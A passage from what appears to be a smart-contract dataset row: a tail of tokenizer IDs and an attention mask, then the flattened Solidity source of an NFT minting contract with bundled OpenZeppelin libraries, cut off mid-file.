2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
12324,
1000,
1012,
1013,
9530,
8873,
2290,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1030,
2516,
10615,
3206,
1013,
1013,
1013,
1030,
3166,
3043,
13625,
1013,
1013,
1013,
1030,
3166,
1062,
5705,
4213,
2361,
1048,
2475,
13625,
3206,
10615,
2003,
9530,
8873,
2290,
1063,
1013,
1013,
1013,
1030,
5060,
19204,
2794,
2000,
5951,
5658,
2724,
25597,
11045,
2078,
1006,
4769,
25331,
19204,
1010,
21318,
3372,
16048,
25331,
19204,
3593,
1007,
1025,
1013,
1013,
1013,
1030,
5060,
3099,
2904,
2724,
2047,
3995,
23062,
2953,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,438 | 0x9526b4e1A423592853728b2843458DDA5f219ac1 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/****************************************
* @author: @Danny_One_ *
* @team: GoldenX *
****************************************
* Blimpie-ERC721 provides low-gas *
* mints + transfers *
****************************************/
import './Delegated.sol';
import './ERC721Batch.sol';
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
interface IGodjira {
function balanceOf( address sender ) external view returns ( uint256 );
}
contract CatharsisXGodjira is Delegated, ERC721Batch, PaymentSplitter {
using Strings for uint;
using Strings for uint16;
uint public MAX_SUPPLY = 999;
uint public MAX_GOLD = 333;
uint public MAX_PRESALE = 1;
uint public MAX_TX = 10;
uint[2] public PRICES = [
0.1 ether,
0.1 ether
];
enum SaleState {
paused,
genesis,
second,
publicSale
}
SaleState public saleState;
IGodjira public godjiraGenesis = IGodjira(0x9ada21A8bc6c33B49a089CFC1c24545d2a27cD81);
IGodjira public godjiraExpansion = IGodjira(0xEDc3AD89f7b0963fe23D714B34185713706B815b);
mapping(TOKEN_TYPE => uint16) public typeBalance;
string private _tokenURIPrefix;
string private _tokenURISuffix;
string private _tokenURISeparator;
address[] private payees = [
0xed386149321FBd84f0c4e27a1701Ad05eCA32f8A,
0x172c418b3bDA2Ad1226287376051f5749567d568
];
uint[] private splits = [
10,
90
];
constructor()
Delegated()
PaymentSplitter( payees, splits )
ERC721B("Catharsis X Godjira", "CXGJ"){
}
//external payable
fallback() external payable {}
//public view
function tokenURI(uint tokenId) external view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return string(abi.encodePacked(_tokenURIPrefix,
tokenId.toString(), _tokenURISeparator,
uint(tokens[tokenId].tokenType).toString(), _tokenURISeparator,
tokens[tokenId].typeIndex.toString(),
_tokenURISuffix ));
}
function typeSold( TOKEN_TYPE type_ ) external view returns( uint count ){
for(uint i; i < tokens.length; ++i ){
if( tokens[i].tokenType == type_ )
++count;
}
}
//public payable
function mint( uint[2] calldata _tokenMint ) external payable {
require( saleState > SaleState.paused, "Sale is not active" );
uint mintRequest = _tokenMint[0] + _tokenMint[1];
require( mintRequest > 0, "Cannot mint 0 tokens" );
require( typeBalance[TOKEN_TYPE.GOLD] + _tokenMint[1] <= MAX_GOLD, "Gold supply exceeded" );
require( typeBalance[TOKEN_TYPE.SILVER] + _tokenMint[0] <= MAX_SUPPLY - MAX_GOLD, "Silver supply exceeded" );
uint godjiraBalance = godjiraGenesis.balanceOf(msg.sender);
if( saleState == SaleState.genesis ) {
require( godjiraBalance > 0, "Must own Genesis Godjira" );
require( _balances[ msg.sender ] + mintRequest <= MAX_PRESALE, "Mint exceeds presale allowance" );
}
else if( saleState < SaleState.publicSale ) {
godjiraBalance += godjiraExpansion.balanceOf(msg.sender);
require( godjiraBalance > 0, "Must own a Godjira" );
require( _balances[ msg.sender ] + mintRequest <= MAX_PRESALE, "Mint exceeds presale allowance" );
}
else {
require( mintRequest <= MAX_TX, "Mint exceeds transaction limit" );
}
uint priceTotal = (
( PRICES[0] * _tokenMint[0] )
+ ( PRICES[1] * _tokenMint[1] )
);
require( msg.value >= priceTotal, "Ether sent is not correct" );
// handle token mints
_balances[ msg.sender ] += mintRequest;
for( uint t; t < 2; ++t ){
for(uint tq; tq < _tokenMint[t]; ++tq ){
mint1(msg.sender, TOKEN_TYPE(t) );
}
}
}
//onlyDelegates
function mintTo(TOKEN_TYPE[] calldata types, uint[] calldata quantity, address[] calldata recipient ) external payable onlyDelegates{
require(types.length == quantity.length, "must provide equal types and quantities" );
require(quantity.length == recipient.length, "must provide equal quantities and recipients" );
unchecked{
uint[2] memory totalQuantity;
for(uint i; i < quantity.length; ++i){
if( types[i] == TOKEN_TYPE.SILVER ) {
totalQuantity[0] += quantity[i];
} else if( types[i] == TOKEN_TYPE.GOLD ) {
totalQuantity[1] += quantity[i];
}
}
require( typeBalance[TOKEN_TYPE.GOLD] + totalQuantity[1] <= MAX_GOLD, "Gold supply exceeded" );
require( typeBalance[TOKEN_TYPE.SILVER] + totalQuantity[0] <= MAX_SUPPLY - MAX_GOLD, "Silver supply exceeded" );
for(uint r; r < recipient.length; ++r){
_balances[ recipient[r] ] += quantity[r];
for(uint q; q < quantity[r]; ++q){
mint1( recipient[r], types[r] );
}
}
}
}
function setBaseURI(string calldata _newPrefix, string calldata _newSuffix, string calldata _newSeparator) external onlyDelegates{
_tokenURIPrefix = _newPrefix;
_tokenURISuffix = _newSuffix;
_tokenURISeparator = _newSeparator;
}
function setConfig(uint maxSupply, uint maxGold, uint maxPresale, uint maxTx, uint[2] calldata prices) external onlyDelegates {
if( MAX_SUPPLY != maxSupply ) {
MAX_SUPPLY = maxSupply;
}
if( MAX_GOLD != maxGold ) {
MAX_GOLD = maxGold;
}
if( MAX_PRESALE != maxPresale ) {
MAX_PRESALE = maxPresale;
}
if( MAX_TX != maxTx ) {
MAX_TX = maxTx;
}
if( PRICES.length == prices.length ) {
for( uint i=0; i < prices.length; i++ ) {
if( PRICES[i] != prices[i] ) {
PRICES[i] = prices[i];
}
}
}
}
function setSaleState(SaleState _state) external onlyDelegates {
saleState = _state;
}
function setGodjiraContract(address _godjiraGenesis, address _godjiraExpansion) external onlyDelegates {
if( address(godjiraGenesis) != _godjiraGenesis )
godjiraGenesis = IGodjira(_godjiraGenesis);
if( address(godjiraExpansion) != _godjiraExpansion )
godjiraExpansion = IGodjira(_godjiraExpansion);
}
//internal
function mint1( address to, TOKEN_TYPE tokenType ) internal {
uint16 typeIndex = typeBalance[ tokenType ]++;
uint tokenId = _next();
tokens.push(Token(
to,
typeIndex,
tokenType
));
_safeMint( to, tokenId, "" );
}
function _mint(address to, uint tokenId) internal override {
emit Transfer(address(0), to, tokenId);
}
}
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.0;
interface IERC721Batch {
function isOwnerOf( address account, uint[] calldata tokenIds ) external view returns( bool );
function transferBatch( address from, address to, uint[] calldata tokenIds, bytes calldata data ) external;
function walletOfOwner( address account ) external view returns( uint[] memory );
}
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.0;
/****************************************
* @author: Danny1 *
* @team: GoldenX *
****************************************
* Blimpie-ERC721 provides low-gas *
* mints + transfers *
****************************************/
import "./ERC721B.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
abstract contract ERC721EnumerableB is ERC721B, IERC721Enumerable {
mapping(address => uint) internal _balances;
function balanceOf(address owner) public view virtual override(ERC721B,IERC721) returns (uint) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721B) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
function tokenOfOwnerByIndex(address owner, uint index) public view override returns (uint tokenId) {
uint count;
for( uint i; i < tokens.length; ++i ){
if( owner == tokens[i].owner ){
if( count == index )
return i;
else
++count;
}
}
revert("ERC721Enumerable: owner index out of bounds");
}
function tokenByIndex(uint index) external view override returns (uint) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return index;
}
function totalSupply() public view override(IERC721Enumerable, ERC721B) returns( uint ){
return ERC721B.totalSupply();
}
function _beforeTokenTransfer(address from, address to) internal override{
if( from != address(0))
--_balances[from];
if( to != address(0))
++_balances[to];
}
}
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.0;
/****************************************
* @author: Danny1 *
****************************************
* Blimpie-FF721 provides low-gas *
* mints + transfers *
****************************************/
import "./IERC721Batch.sol";
import "./ERC721EnumerableB.sol";
abstract contract ERC721Batch is ERC721EnumerableB, IERC721Batch {
function isOwnerOf( address account, uint[] calldata tokenIds ) external view override returns( bool ){
for(uint i; i < tokenIds.length; ++i ){
if( account != tokens[ tokenIds[i] ].owner )
return false;
}
return true;
}
function transferBatch( address from, address to, uint[] calldata tokenIds, bytes calldata data ) external override{
for(uint i; i < tokenIds.length; ++i ){
safeTransferFrom( from, to, tokenIds[i], data );
}
}
function walletOfOwner( address account ) public view override returns( uint[] memory wallet ){
uint count;
uint quantity = balanceOf( account );
wallet = new uint[]( quantity );
for( uint i; i < tokens.length; ++i ){
if( account == tokens[i].owner ){
wallet[ count++ ] = i;
if( count == quantity )
break;
}
}
return wallet;
}
}
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
enum TOKEN_TYPE {
SILVER,
GOLD
}
struct Token {
address owner;
uint16 typeIndex;
TOKEN_TYPE tokenType;
}
Token[] public tokens;
string private _name;
string private _symbol;
mapping(uint => address) internal _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_ ){
_name = name_;
_symbol = symbol_;
}
//public
function balanceOf(address owner) public view virtual override returns (uint) {
require(owner != address(0), "ERC721: balance query for the zero address");
uint count;
for( uint i; i < tokens.length; ++i ){
if( owner == tokens[i].owner )
++count;
}
return count;
}
function name() external view override returns (string memory) {
return _name;
}
function ownerOf(uint tokenId) public view override returns (address) {
return tokens[tokenId].owner;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual returns (uint) {
return tokens.length;
}
function approve(address to, uint tokenId) external override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
function setApprovalForAll(address operator, bool approved) external override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function transferFrom(
address from,
address to,
uint tokenId
) public override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint tokenId) external override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint tokenId, bytes memory _data) public override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
//internal
function _approve(address to, uint tokenId) internal {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _beforeTokenTransfer( address from, address to) internal virtual;
function _checkOnERC721Received(address from, address to, uint tokenId, bytes memory _data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _exists(uint tokenId) internal view returns (bool) {
return tokenId < tokens.length && tokens[tokenId].owner != address(0);
}
function _isApprovedOrOwner(address spender, uint tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _mint(address to, uint tokenId) internal virtual;
function _next() internal view virtual returns(uint){
return tokens.length;
}
function _safeMint(address to, uint tokenId) internal {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint tokenId, bytes memory _data) internal {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _safeTransfer(address from, address to, uint tokenId, bytes memory _data) internal {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _transfer(address from, address to, uint tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
tokens[tokenId].owner = to;
emit Transfer(from, to, tokenId);
}
}
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.0;
/***********************
* @author: squeebo_nft *
************************/
import "@openzeppelin/contracts/access/Ownable.sol";
contract Delegated is Ownable{
mapping(address => bool) internal _delegates;
constructor(){
_delegates[owner()] = true;
}
modifier onlyDelegates {
require(_delegates[msg.sender], "Invalid delegate" );
_;
}
//onlyOwner
function isDelegate( address addr ) external view onlyOwner returns ( bool ){
return _delegates[addr];
}
function setDelegate( address addr, bool isDelegate_ ) external onlyOwner{
_delegates[addr] = isDelegate_;
}
function transferOwnership(address newOwner) public virtual override onlyOwner {
_delegates[newOwner] = true;
super.transferOwnership( newOwner );
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
